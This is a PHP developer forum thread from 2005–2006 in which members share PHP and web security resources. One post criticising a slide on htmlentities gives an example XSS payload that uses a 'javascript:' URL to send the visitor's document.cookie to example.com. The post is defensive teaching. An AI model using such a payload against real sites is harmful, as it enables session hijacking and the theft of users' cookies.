PHP Developers Network

A community of PHP developers offering assistance, advice, discussion, and friendship.
 
Loading
It is currently Thu Oct 17, 2019 2:43 am

All times are UTC - 5 hours




Post new topic Reply to topic  [ 37 posts ]  Go to page 1, 2, 3  Next
Author Message
 Post subject: Security Resources
PostPosted: Tue Jan 11, 2005 12:37 am 
Offline
Site Admin

Joined: Thu Apr 18, 2002 3:14 pm
Posts: 1767
Location: Montreal, CA
As time goes on, I will be adding security focused resources. The resources listed below are all either geared towards PHP or useable by PHP developers in some manner.


A security pattern is a well-understood solution to a recurring information security problem. They are patterns in the sense originally defined by Christopher Alexander (the basis for much of the later work in design patterns and pattern languages of programs), applied to the domain of information security. A security pattern encapsulates security expertise in the form of worked solutions to these recurring problems, presenting issues and trade-offs in the usage of the pattern. This page presents our completed research into security patterns for Web application development.


[phpsec] is a mailing list dedicated to the security of PHP and its related applications. Our goal is to maintain an early-warning system through which developers, systems administrators and researches can discuss and exchange information about maintaining PHP, PHP applications and PHP systems secure.


Seems like a start, though I haven't seen much put into place here. However, it's news, and interesting.


Hardened-PHP adds security hardening features to PHP to protect your servers on the one hand against a number of well known problems in hastily written PHP scripts and on the other hand against potential unknown vulnerabilities within the engine itself.


The purpose of this document is to inform PHP programmers of common security mistakes that can be overlooked in PHP scripts. While many of the following concepts may appear to be common sense, they are unfortunately not always common practice. After applying the following practices to your coding, you will be able to eliminate the vast majority of security holes that plague many scripts. Many of these security holes have been found in widely-used open source and commercial PHP scripts in the past.

The most important concept to learn from this article is that you should never trust the user to input exactly what is expected. The way most PHP scripts are compromised is by entering unexpected data to exploit security holes inadvertantly left in the script.


Here's an article from php|architect that discusses both XSS and CSRF from Chris Shiflett.


Excellent PDF covering security in PHP.


An excellent resource covering most aspects of XSS. Very comprehensive, and a great place to start.


f you don't know how XSS (Cross Site Scripting) works, this page probably won't help you. This page is for people who already understand the basics of XSS but want a deep understanding of the nuances regarding filter evasion. This page will also not show you how to mitigate these risks or how to write the actual cookie/credential stealing portion of the attack. It will simply show the basic attack vectors and you can infer the rest. I may add mitigation techniques or other forms of XSS like button/form overwriting later, since I haven't found many good resources on this topic thus far.


Last edited by jason on Mon Jan 31, 2005 9:08 am, edited 2 times in total.

Top
 Profile  
 
 Post subject:
PostPosted: Tue Jan 18, 2005 3:55 pm 
Offline
Forum Newbie
User avatar

Joined: Mon Dec 13, 2004 4:20 pm
Posts: 11
Just to add another note:

is under new management. So we are starting to update the information on the site, and are looking for article and advisory submissions. This site has a strong focus on PHP security.


Top
 Profile  
 
 Post subject:
PostPosted: Tue Jan 18, 2005 4:30 pm 
Offline
DevNet Master

Joined: Thu Jan 30, 2003 9:26 pm
Posts: 2893
Location: Glasgow, Scotland


"The OWASP Top Ten provides a minimum standard for web application security. The OWASP Top Ten represents a broad consensus about what the most critical web application security flaws are. Project members include a variety of security experts from around the world who have shared their expertise to produce this list. There are currently versions in English, French, Japanese, and Korean. A Spanish version is in the works. We urge all companies to adopt the standard within their organization and start the process of ensuring that their web applications do not contain these flaws. Adopting the OWASP Top Ten is perhaps the most effective first step towards changing the software development culture within your organization into one that produces secure code." The Open Web Application Security Project


Top
 Profile  
 
PostPosted: Thu Jan 20, 2005 4:24 pm 
Offline
Forum Newbie
User avatar

Joined: Tue Aug 03, 2004 12:18 pm
Posts: 2
Another useful resource site for php/security is phpSecure.info, with partial content in different languages :

English
French
Russian

There's a mailing list called phpAdvisories mailing list, a bugtraq-like alert system relaying PHP advisories from different sources, and the emailed data is also available as xml feed

most of the Advisories' content is retrieved by automation systems, so this is more an echo of the [bugtraq|vulns|backends] background noise than something similar to the great work provided by phpadvisory.com
we are on our way to provide detailled statistics par application ...


Top
 Profile  
 
 Post subject:
PostPosted: Thu May 05, 2005 2:46 am 
Offline
Forum Newbie

Joined: Tue May 03, 2005 1:02 pm
Posts: 16
:arrow: http://www.php.net/manual/en/security.php
:arrow: http://www.owasp.org/index.html


Top
 Profile  
 
 Post subject:
PostPosted: Mon Sep 05, 2005 10:12 pm 
Offline
Forum Commoner

Joined: Mon Sep 05, 2005 10:05 pm
Posts: 71
Hello firends

This site has interesting white papres about web security:

http://www.spidynamics.com/spilabs/educ ... papers.htm



And interesting security articles:

http://www.cs.wright.edu/~pmateti/Inter ... index.html.

GOOD LUCK!


Top
 Profile  
 
 Post subject:
PostPosted: Tue Jan 31, 2006 10:30 am 
Offline
Forum Commoner

Joined: Mon Sep 05, 2005 10:05 pm
Posts: 71
Hello firends


http://ilia.ws/files/phpworks_security.pdf



GOOD LUCK!


Top
 Profile  
 
 Post subject:
PostPosted: Tue Jan 31, 2006 4:23 pm 
Offline
DevNet Master

Joined: Wed Feb 11, 2004 4:23 pm
Posts: 4872
Location: Palm beach, Florida
Page 22 of that page is misleading

Syntax: [ Download ] [ Hide ]
<a href="<?=htmlentities($_GET['ur'])?>"></a>
, is not secure.. Additional steps need to be taken to prevent xss then just htmlentities


in this example the exploit would be:

?url=javascript:window.location('http://example.com/cookie?cookie='+document.cookie)


htmlentities would leave that string untouched (depending on if you use ent_quotes, etc.. but it's best to not allow the string "javascript:" to pass through things like this


Top
 Profile  
 
 Post subject:
PostPosted: Tue Jan 31, 2006 9:35 pm 
Offline
Forum Contributor
User avatar

Joined: Sun Feb 06, 2005 12:22 pm
Posts: 124


Top
 Profile  
 
 Post subject:
PostPosted: Tue Jan 31, 2006 9:40 pm 
Offline
Forum Contributor
User avatar

Joined: Sun Feb 06, 2005 12:22 pm
Posts: 124


Top
 Profile  
 
 Post subject:
PostPosted: Wed Feb 01, 2006 12:12 pm 
Offline
DevNet Master
User avatar

Joined: Tue Nov 02, 2004 6:43 am
Posts: 2704
Location: Ireland
Its a small, neat inexpensive book...;)

Another useful link: http://phpsec.org/


Top
 Profile  
 
 Post subject:
PostPosted: Tue May 23, 2006 9:45 am 
Offline
DevNet Master
User avatar

Joined: Tue Nov 02, 2004 6:43 am
Posts: 2704
Location: Ireland


Top
 Profile  
 
 Post subject:
PostPosted: Thu Jul 13, 2006 4:05 pm 
Offline
Forum Newbie

Joined: Sat Aug 14, 2004 2:33 am
Posts: 16
Hi everyone,

I'm reading some php/mysql security articles lately and I found this link. I hope the experts here tel us if this link is real good to depends on?


Thanks


Top
 Profile  
 
 Post subject:
PostPosted: Thu Aug 31, 2006 1:45 pm 
Offline
Neighborhood Spidermoddy
User avatar

Joined: Mon Mar 29, 2004 4:24 pm
Posts: 31559
Location: Bothell, Washington, USA


Top
 Profile  
 
 Post subject:
PostPosted: Mon Oct 09, 2006 10:26 am 
Offline
Site Administrator
User avatar

Joined: Tue Sep 09, 2003 6:04 pm
Posts: 14293
Location: Fremont, CA, USA
There is a link within this thread from SPI Dynamics that is dead. However, I found one that is not (hehe, actually a coworker pointed it out to me). Anyhow, here it is:



Top
 Profile  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 37 posts ]  Go to page 1, 2, 3  Next

All times are UTC - 5 hours


Who is online

Users browsing this forum: No registered users and 3 guests


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Jump to:  
Powered by phpBB® Forum Software © phpBB Group